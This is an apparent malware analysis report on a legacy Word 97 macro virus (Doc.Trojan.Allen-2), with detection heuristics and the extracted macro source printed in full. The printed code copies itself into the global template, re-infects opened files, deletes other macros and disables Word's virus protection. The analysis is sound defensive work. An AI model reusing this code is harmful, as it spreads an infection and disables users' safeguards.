Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 59530af705ab25bb…

MALICIOUS

Office (OLE)

39.5 KB Created: 1997-10-01 13:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f4db1c5430f831637d8386ec1d5f368c SHA-1: da4ee88f9c1596729092754d5d2a6a1ef084a43a SHA-256: 59530af705ab25bb6eb545cc397f04f7c79a23586fe00c92bb6e6510dd0518f9
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a legacy Word97 macro virus. It contains an AutoOpen macro that copies itself and another macro (AutoExec) to the global template, enabling execution on document opening. The presence of legacy WordBasic macro markers and the ClamAV detection as 'Doc.Trojan.Allen-2' strongly indicate malicious intent, likely for further payload delivery or system compromise.

Heuristics 5

  • ClamAV: Doc.Trojan.Allen-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Allen-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4819 bytes
SHA-256: a45b77214c135140e2690a7393d945354ac4d136cb2080812841e96d71cf52b1
Detection
ClamAV: Doc.Trojan.Allen-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoExec"

Public Sub MAIN()
Attribute MAIN.VB_Description = "My Love to LIGUINA ALLENA HIVIANTA QUESTASARI"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.AutoExec.MAIN"
On Error GoTo tamat
Dim Bln
WordBasic.DisableInput 1
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Bln = WordBasic.Month(WordBasic.Now())
Dim Pesan1$, Pesan2$
Pesan1$ = "GepenkUajy96 Lahq"
Pesan2$ = "Cintaku tulus Buat sayangku Allena Hivianta Questasari"
WordBasic.ToolsOptionsUserInfo Name:="GepenkUajy96", Initials:="Allena", Address:="mlampah@hotmail.com" + Chr(13) + "Liguina Allena Hivianta Questasari"
     If Bln = 11 Then
      Assistant.Visible = True
        With Assistant.NewBalloon
            .Icon = msoIconAlert
            .Text = "SELAMAT ULANG TAHUN..ALLEN"
            .Heading = "God bless you"
            .Show
        End With
     End If
tamat:
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "My Love to LIGUINA ALLENA HIVIANTA QUESTASARI"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.AutoOpen.MAIN"
Dim NFile$
Dim NMakro$
Options.VirusProtection = False
NFile$ = WordBasic.[FileName$]()
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":AutoExec"
    WordBasic.MacroCopy NMakro$, "Global:AutoExec"
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":AutoOpen"
    WordBasic.MacroCopy NMakro$, "Global:AutoOpen"
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":FileOpen"
    WordBasic.MacroCopy NMakro$, "Global:FileOpen"
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":FileSave"
    WordBasic.MacroCopy NMakro$, "Global:FileSave"
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":FileSaveAs"
    WordBasic.MacroCopy NMakro$, "Global:FileSaveAs"
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":Tools"
    WordBasic.MacroCopy NMakro$, "Global:FileTemplates"
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":Tools"
    WordBasic.MacroCopy NMakro$, "Global:FileMacro"
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":Tools"
    WordBasic.MacroCopy NMakro$, "Global:ToolsMacro"
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":Tools"
    WordBasic.MacroCopy NMakro$, "Global:ToolsCustomize"
      On Error GoTo tamat
      If Month(Now()) = 11 Then
      Assistant.Visible = True
        With Assistant.NewBalloon
            .Icon = msoIconAlert
            .Text = "SELAMAT ULANG TAHUN..ALLEN"
            .Heading = "My heart to you"
            .Show
        End With
       End If
tamat:
End Sub

Attribute VB_Name = "FileOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "My Love to LIGUINA ALLENA HIVIANTA QUESTASARI"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.FileOpen.MAIN"
Dim TotalMacro
Dim i
Dim MN$
Dim FN$
Dim NFile$
Dim NMakro$
ReDim BadMacro__$(20)
Options.VirusProtection = False
WordBasic.DisableAutoMacros 1
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen dlg
On Error GoTo -1: On Error GoTo tamat
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
TotalMacro = 0
For i = 1 To WordBasic.CountMacros(1)
    MN$ = WordBasic.[MacroName$](i, 1)
    BadMacro__$(i) = MN$
    TotalMacro = TotalMacro + 1
Next i
FN$ = WordBasic.[FileName$]()
If TotalMacro >= 1 Then
    For i = 1 To TotalMacro
        On Error GoTo -1: On Error GoTo tamat
        WordBasic.Organizer Delete:=1, Source:=FN$, Name:=BadMacro__$(i), Tab:=3
    Next i
WordBasic.FileSave
End If
NFile$ = WordBasic.[FileName$]()
    NMakro$ = NFile$ + ":AutoExec"
    WordBasic.MacroCopy "Global:AutoExec", NMakro$
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":AutoOpen"
    WordBasic.MacroCopy "Global:AutoOpen", NMakro$
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":FileOpen"
    WordBasic.MacroCopy "Global:FileOpen", NMakro$
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":FileSave"
    WordBasic.MacroCopy "Global:FileSave", NMakro$
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":FileSaveAs"
    WordBasic.MacroCopy "Global:FileSaveAs", NMakro$
    On Error GoTo -1: On Error GoTo tamat
    NMakro$ = NFile$ + ":Tools"
    WordBasic.MacroCopy "Global:ToolsMacro", NMakro$
tamat:
WordBasic.FileSave
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
End Sub

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